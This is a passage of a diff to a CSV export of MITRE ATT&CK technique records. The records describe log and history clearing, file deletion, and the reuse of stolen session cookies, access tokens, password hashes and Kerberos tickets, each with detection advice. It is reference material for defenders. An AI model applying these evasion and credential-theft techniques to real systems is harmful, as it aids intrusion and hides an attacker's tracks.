leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. + +There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/004', 'external_id': 'T1070.004'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Walker Johnson'],"['File: File Deletion', 'Command: Command Execution']",['Host forensic analysis'],"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:32:08.228Z,2020-10-16T18:09:48.686Z,Clear Command History,"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. @@ -1843,22 +2055,22 @@ On Windows hosts, PowerShell has two different command history providers: the bu The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History) -Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/003', external_id='T1070.003'), ExternalReference(source_name='Microsoft PowerShell Command History', description='Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', url='https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'), ExternalReference(source_name='Sophos PowerShell command audit', description='jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', url='https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'), ExternalReference(source_name='Sophos PowerShell Command History Forensics', description='Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', url='https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics')]",attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-16 18:09:48.686000+00:00,Clear Command History,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Command: Command Execution', 'File: File Modification', 'File: File Deletion']","['Host forensic analysis', 'Log analysis']",,,,"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. +Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/003', 'external_id': 'T1070.003'}, {'source_name': 'Microsoft PowerShell Command History', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'}, {'source_name': 'Sophos PowerShell command audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Command: Command Execution', 'File: File Modification', 'File: File Deletion']","['Host forensic analysis', 'Log analysis']","User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. -Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-01-30 17:48:49.395000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) +Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.",True,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:48:49.395Z,2021-10-12T14:22:09.650Z,Web Session Cookie,"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. -There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1550/004', external_id='T1550.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/60.html', external_id='CAPEC-60'), ExternalReference(source_name='Pass The Cookie', description='Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', url='https://wunderwuzzi23.github.io/blog/passthecookie.html'), ExternalReference(source_name='Unit 42 Mac Crypto Cookies January 2019', description='Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', url='https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/')]",attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-04-14 13:21:37.474000+00:00,Web Session Cookie,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Johann Rehberger'],"['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],,,,Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.,,,,,True,,,,"['Office 365', 'SaaS', 'Google Workspace']",,,,1.2 -2020-01-30 17:37:22.261000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. +There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/004', 'external_id': 'T1550.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/60.html', 'external_id': 'CAPEC-60'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot', 'Johann Rehberger']","['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.,True,,"['Office 365', 'SaaS', 'Google Workspace', 'IaaS']",1.3,,,,,,, +attack-pattern,attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:37:22.261Z,2021-09-02T17:18:55.891Z,Application Access Token,"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a ""refresh"" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) -Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1550/001', external_id='T1550.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/593.html', external_id='CAPEC-593'), ExternalReference(source_name='Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', description='Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', url='https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'), ExternalReference(source_name='okta', description='okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', url='https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen'), ExternalReference(source_name='Microsoft Identity Platform Access 2019', description='Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'), ExternalReference(source_name='Staaldraad Phishing with OAuth 2017', description='Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', url='https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/')]",attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-04-14 18:09:45.539000+00:00,Application Access Token,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Shailesh Tiwary (Indian Army)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Mark Wee']","['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],,,,Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.,,,,,True,,,,"['Office 365', 'SaaS', 'Google Workspace']",,,,1.2 -2020-01-30 17:03:43.072000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. +Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/001', 'external_id': 'T1550.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/593.html', 'external_id': 'CAPEC-593'}, {'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', 'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'}, {'source_name': 'okta', 'description': 'okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', 'url': 'https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen'}, {'source_name': 'Microsoft Identity Platform Access 2019', 'description': 'Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'}, {'source_name': 'Staaldraad Phishing with OAuth 2017', 'description': 'Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', 'url': 'https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shailesh Tiwary (Indian Army)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Mark Wee']","['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.,True,,"['Office 365', 'SaaS', 'Google Workspace']",1.2,,,,,,, +attack-pattern,attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:03:43.072Z,2021-08-31T19:56:31.341Z,Pass the Ticket,"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) @@ -1866,28 +2078,28 @@ A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) -Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, ""overpassing the hash"" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1550/003', external_id='T1550.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/645.html', external_id='CAPEC-645'), ExternalReference(source_name='ADSecurity AD Kerberos Attacks', description='Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.', url='https://adsecurity.org/?p=556'), ExternalReference(source_name='GentilKiwi Pass the Ticket', description='Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.', url='http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos'), ExternalReference(source_name='Campbell 2014', description='Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.', url='http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf'), ExternalReference(source_name='Stealthbits Overpass-the-Hash', description='Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', url='https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/'), ExternalReference(source_name='CERT-EU Golden Ticket Protection', description='Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', url='https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf')]",attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-03-15 21:42:11.839000+00:00,Pass the Ticket,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vincent Le Toux', 'Ryan Becwar']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],,,,"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. +Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, ""overpassing the hash"" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/003', 'external_id': 'T1550.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/645.html', 'external_id': 'CAPEC-645'}, {'source_name': 'ADSecurity AD Kerberos Attacks', 'description': 'Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.', 'url': 'https://adsecurity.org/?p=556'}, {'source_name': 'GentilKiwi Pass the Ticket', 'description': 'Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.', 'url': 'http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos'}, {'source_name': 'Campbell 2014', 'description': 'Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.', 'url': 'http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vincent Le Toux', 'Ryan Becwar']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. -Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to ""Integrity check on decrypted field failed"" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",,,,,True,,,,['Windows'],,['Kerberos authentication enabled'],,1.1 -2020-01-30 16:36:51.184000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. +Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to ""Integrity check on decrypted field failed"" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",True,,['Windows'],1.1,,['Kerberos authentication enabled'],,,,, +attack-pattern,attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T16:36:51.184Z,2021-08-31T19:55:02.702Z,Pass the Hash,"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. -Adversaries may also use stolen password hashes to ""overpass the hash."" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1550/002', external_id='T1550.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/644.html', external_id='CAPEC-644'), ExternalReference(source_name='Stealthbits Overpass-the-Hash', description='Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', url='https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/')]",attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-03-15 21:04:33.228000+00:00,Pass the Hash,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Blake Strom, Microsoft 365 Defender', 'Travis Smith, Tripwire']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],,,,"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. +Adversaries may also use stolen password hashes to ""overpass the hash."" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/002', 'external_id': 'T1550.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/644.html', 'external_id': 'CAPEC-644'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Blake Strom, Microsoft 365 Defender', 'Travis Smith, Tripwire']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. -Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",,,,,True,,,,['Windows'],,,,1.1 -2020-01-30 16:18:36.873000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. +Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T16:18:36.873Z,2021-10-17T14:15:31.630Z,Use Alternate Authentication Material,"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA) Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1550', external_id='T1550'), ExternalReference(source_name='NIST Authentication', description='NIST. (n.d.). Authentication. Retrieved January 30, 2020.', url='https://csrc.nist.gov/glossary/term/authentication'), ExternalReference(source_name='NIST MFA', description='NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.', url='https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication'), ExternalReference(source_name='TechNet Audit Policy', description='Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn487457.aspx')]",attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-04-14 18:09:47.427000+00:00,Use Alternate Authentication Material,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage', 'Application Log: Application Log Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],,,,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into 